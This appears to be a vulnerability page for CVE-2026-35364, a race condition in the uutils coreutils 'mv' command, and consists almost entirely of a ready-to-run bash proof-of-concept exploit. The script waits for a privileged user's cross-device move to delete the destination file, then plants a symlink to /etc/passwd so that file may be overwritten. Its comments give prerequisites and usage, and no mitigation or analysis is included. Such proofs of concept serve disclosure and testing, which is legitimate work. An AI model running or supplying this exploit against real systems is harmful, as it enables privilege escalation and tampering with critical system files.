CVE-2026-35364: uutils coreutils TOCTOU竞争条件漏洞

#!/bin/bash # PoC for CVE-2026-35364: Exploiting TOCTOU in uutils mv cross-device move # Prerequisites: Attacker has write access to the destination directory. # Usage: Run this script in the background while a privileged user runs 'mv src dest'. DEST_DIR="/tmp/vuln_dir" DEST_FILE="$DEST_DIR/target" TARGET_FILE="/etc/passwd" # Arbitrary file to overwrite # Ensure destination directory exists and is empty (setup) mkdir -p "$DEST_DIR" touch "$DEST_FILE" echo "[+] Starting race condition exploit..." while true; do # Check if the destination file has been removed by mv if [ ! -e "$DEST_FILE" ]; then # Race window: mv has deleted the file but not yet created the new one # Replace it with a symlink to the target file ln -s "$TARGET_FILE" "$DEST_FILE" 2>/dev/null if [ $? -eq 0 ]; then echo "[!] Symlink created successfully. Target may be overwritten." break fi fi done